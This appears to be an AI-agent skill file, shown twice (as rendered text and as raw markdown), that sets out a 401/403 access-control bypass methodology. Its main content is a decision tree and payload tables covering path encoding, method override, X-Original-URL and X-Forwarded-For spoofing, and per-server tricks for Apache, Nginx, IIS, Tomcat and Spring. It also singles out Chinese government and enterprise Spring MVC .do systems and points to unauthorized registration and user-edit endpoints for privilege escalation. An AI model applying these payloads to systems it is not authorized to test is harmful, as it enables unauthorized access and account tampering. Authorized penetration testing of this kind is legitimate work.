401/403 Bypass Methodology
Core idea: the reverse proxy / WAF checks one path format, but the backend performs a different path normalization.
Further Reading
- Full list of path manipulation payloads → references/path-manipulation-payloads.md
- HTTP method / header bypass → references/method-header-bypass.md
- Middleware-specific bypasses and combined attacks → references/middleware-combo-bypass.md
Decision Tree
Facing a 401/403?
├── 1. Path manipulation (highest success rate)
│ ├── /path/ → /PATH → /path%20 → /./path → //path
│ ├── /path;x → /path..;/ → /%2e/path → /path%00
│ └── 200? → bypass succeeded
├── 2. Method bypass
│ ├── POST/PUT/PATCH/DELETE/OPTIONS/HEAD
│ ├── X-HTTP-Method-Override: PUT
│ └── PROPFIND / custom methods
├── 3. Header bypass
│ ├── X-Original-URL: /path (Nginx/IIS)
│ ├── X-Forwarded-For: 127.0.0.1 (IP allowlist)
│ └── Referer/Origin/Host spoofing
├── 4. Protocol bypass
│ └── HTTP/1.0
├── 5. Combined attack
│ └── Method + Path + Header all together
├── All failed → other ideas
│ ├── Request smuggling → cache-poisoning-smuggling
│ ├── SSRF → ssrf-methodology
│ ├── IDOR → idor-methodology
│ └── Authentication logic → privilege-escalation-web
└── Automated scanning with byp4xx / 403bypasser
Quick Reference — Path Manipulation Essentials
| Technique |
Example |
| Trailing slash / dot |
/admin/ /admin/. |
| Case variation |
/Admin /ADMIN |
| URL encoding |
/%61dmin /admi%6e |
| Double encoding |
/%2561dmin |
| Overlong Unicode encoding |
/admi%C0%AE |
| Dot segment / path traversal |
/./admin //admin |
| NULL byte |
/admin%00 /admin%00.json |
| Path parameter (Tomcat) |
/admin;foo /;/admin |
| Backslash (IIS) |
/admin\ |
Quick Reference — Method / Header Essentials
| Technique |
Example |
| Method switch |
POST /admin PUT /admin |
| Method Override |
X-HTTP-Method-Override: PUT |
| URL rewrite |
X-Original-URL: /admin |
| IP spoofing |
X-Forwarded-For: 127.0.0.1 |
| Protocol downgrade |
GET /admin HTTP/1.0 |
Middleware Quick Reference
| Server |
Key Techniques |
| Apache |
/admin/ (trailing slash), /.admin (dot prefix) |
| Nginx |
/Admin (case), X-Original-URL |
| IIS/ASP.NET |
/admin;.css, /admin\, /admin::$DATA |
| Tomcat/Java |
/admin;foo, /admin..;/, /;/admin |
| Spring |
/admin.anything (older suffix matching) |
See the references files for the full payload list
Spring MVC .do Authorization Bypass and 302 Login Redirect
Chinese government and enterprise Java systems commonly expose *.do (Spring MVC) endpoints, and their weak authorization implementations frequently allow bypasses:
Request a .do endpoint → 302 redirect to the login page (login_tologin.do)
├── 1. Retry without the .do suffix: /user.do → /user
├── 2. Add a suffix to bypass: /user.do → /user.do/, /user.do;.css, /user.do?x=
├── 3. Case / encoding: /User.do, /%75ser.do
├── 4. Method switch: GET → POST → PUT
├── 5. Direct access with parameters: login_tologin.do style login/registration entry points have no authorization
│ └── Try unauthorized calls to registersysuser / goedituser style registration and user-modification endpoints
├── 6. 302 response analysis: internal paths / parameters leak in Location
└── 7. Cookie/Session reuse: the Set-Cookie after the login endpoint 302 is not validated
- Endpoint names such as
registersysuser (register user) and goedituser (edit user) are common in production environments; if they lack authorization they allow unauthorized registration or user modification (privilege escalation via registration). When testing, first confirm the endpoint exists and then verify its permissions.
- Judging criterion: access a protected endpoint without any login session; if it returns business data / a successful operation instead of 401/403/302, the authorization has failed.
Chinese / Java System Authorization Bypass Quick Reference
| Scenario |
Try |
Spring MVC .do endpoint |
Remove the suffix, add a suffix, change case, switch the method |
| 302 login redirect |
Analyze Location, access the business endpoint directly |
| Registration / user-modification endpoint |
Unauthorized calls to registersysuser, goedituser |
| Allowlisted path |
/api/health prefix + path traversal |
1---2name: 401-403-bypass3description: "401/403 access denial bypass and Spring MVC .do authorization bypass methodology. Use when an admin panel or API endpoint returns 401/403 Forbidden, when you need Spring MVC .do endpoint authorization bypass, 302 login redirects (login_tologin.do), or unauthorized registration (registersysuser, goedituser). Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, .do suffix authorization bypass, 302 redirect bypass, and combined attacks"4zh-signals: "绕过 401/403 访问控制,并利用 Spring MVC .do 后缀鉴权绕过与 302 跳转等技巧。信号:401 绕过,403 绕过,Spring MVC,鉴权绕过,路径操纵"5when-to-use: "Use when admin panels or API endpoints return 401/403 and you need to test path manipulation, method or header tricks, or Spring MVC suffix-based authorization bypass."6metadata:7 source: https://skillmd.com/skills/dangeroussong/401-403-bypass8 tags: "403,401,bypass,forbidden,path-manipulation,method override,X-Original-URL,X-Forwarded-For,access control,privilege-bypass,spring,mvc,.do,authorization,302,login_tologin,registersysuser,goedituser,privilege-escalation,registration,auth-bypass"9 category: "exploit"10---1112# 401/403 Bypass Methodology13- 攻击大类:C09 Web应用漏洞利用1415Core idea: the reverse proxy / WAF checks one path format, but the backend performs a different path normalization.1617## Further Reading1819- Full list of path manipulation payloads → [references/path-manipulation-payloads.md](references/path-manipulation-payloads.md)20- HTTP method / header bypass → [references/method-header-bypass.md](references/method-header-bypass.md)21- Middleware-specific bypasses and combined attacks → [references/middleware-combo-bypass.md](references/middleware-combo-bypass.md)2223---2425## Decision Tree2627```28Facing a 401/403?29├── 1. Path manipulation (highest success rate)30│ ├── /path/ → /PATH → /path%20 → /./path → //path31│ ├── /path;x → /path..;/ → /%2e/path → /path%0032│ └── 200? → bypass succeeded33├── 2. Method bypass34│ ├── POST/PUT/PATCH/DELETE/OPTIONS/HEAD35│ ├── X-HTTP-Method-Override: PUT36│ └── PROPFIND / custom methods37├── 3. Header bypass38│ ├── X-Original-URL: /path (Nginx/IIS)39│ ├── X-Forwarded-For: 127.0.0.1 (IP allowlist)40│ └── Referer/Origin/Host spoofing41├── 4. Protocol bypass42│ └── HTTP/1.043├── 5. Combined attack44│ └── Method + Path + Header all together45├── All failed → other ideas46│ ├── Request smuggling → cache-poisoning-smuggling47│ ├── SSRF → ssrf-methodology48│ ├── IDOR → idor-methodology49│ └── Authentication logic → privilege-escalation-web50└── Automated scanning with byp4xx / 403bypasser51```5253---5455## Quick Reference — Path Manipulation Essentials5657| Technique | Example |58|------|------|59| Trailing slash / dot | `/admin/` `/admin/.` |60| Case variation | `/Admin` `/ADMIN` |61| URL encoding | `/%61dmin` `/admi%6e` |62| Double encoding | `/%2561dmin` |63| Overlong Unicode encoding | `/admi%C0%AE` |64| Dot segment / path traversal | `/./admin` `//admin` |65| NULL byte | `/admin%00` `/admin%00.json` |66| Path parameter (Tomcat) | `/admin;foo` `/;/admin` |67| Backslash (IIS) | `/admin\` |6869## Quick Reference — Method / Header Essentials7071| Technique | Example |72|------|------|73| Method switch | `POST /admin` `PUT /admin` |74| Method Override | `X-HTTP-Method-Override: PUT` |75| URL rewrite | `X-Original-URL: /admin` |76| IP spoofing | `X-Forwarded-For: 127.0.0.1` |77| Protocol downgrade | `GET /admin HTTP/1.0` |7879## Middleware Quick Reference8081| Server | Key Techniques |82|---|---|83| **Apache** | `/admin/` (trailing slash), `/.admin` (dot prefix) |84| **Nginx** | `/Admin` (case), `X-Original-URL` |85| **IIS/ASP.NET** | `/admin;.css`, `/admin\`, `/admin::$DATA` |86| **Tomcat/Java** | `/admin;foo`, `/admin..;/`, `/;/admin` |87| **Spring** | `/admin.anything` (older suffix matching) |8889> See the references files for the full payload list9091## Spring MVC `.do` Authorization Bypass and 302 Login Redirect9293Chinese government and enterprise Java systems commonly expose `*.do` (Spring MVC) endpoints, and their weak authorization implementations frequently allow bypasses:9495```96Request a .do endpoint → 302 redirect to the login page (login_tologin.do)97├── 1. Retry without the .do suffix: /user.do → /user98├── 2. Add a suffix to bypass: /user.do → /user.do/, /user.do;.css, /user.do?x=99├── 3. Case / encoding: /User.do, /%75ser.do100├── 4. Method switch: GET → POST → PUT101├── 5. Direct access with parameters: login_tologin.do style login/registration entry points have no authorization102│ └── Try unauthorized calls to registersysuser / goedituser style registration and user-modification endpoints103├── 6. 302 response analysis: internal paths / parameters leak in Location104└── 7. Cookie/Session reuse: the Set-Cookie after the login endpoint 302 is not validated105```106107- Endpoint names such as `registersysuser` (register user) and `goedituser` (edit user) are common in production environments; if they lack authorization they allow unauthorized registration or user modification (privilege escalation via registration). When testing, first confirm the endpoint exists and then verify its permissions.108- Judging criterion: access a protected endpoint without any login session; if it returns business data / a successful operation instead of 401/403/302, the authorization has failed.109110## Chinese / Java System Authorization Bypass Quick Reference111112| Scenario | Try |113|------|------|114| Spring MVC `.do` endpoint | Remove the suffix, add a suffix, change case, switch the method |115| 302 login redirect | Analyze Location, access the business endpoint directly |116| Registration / user-modification endpoint | Unauthorized calls to registersysuser, goedituser |117| Allowlisted path | `/api/health` prefix + path traversal |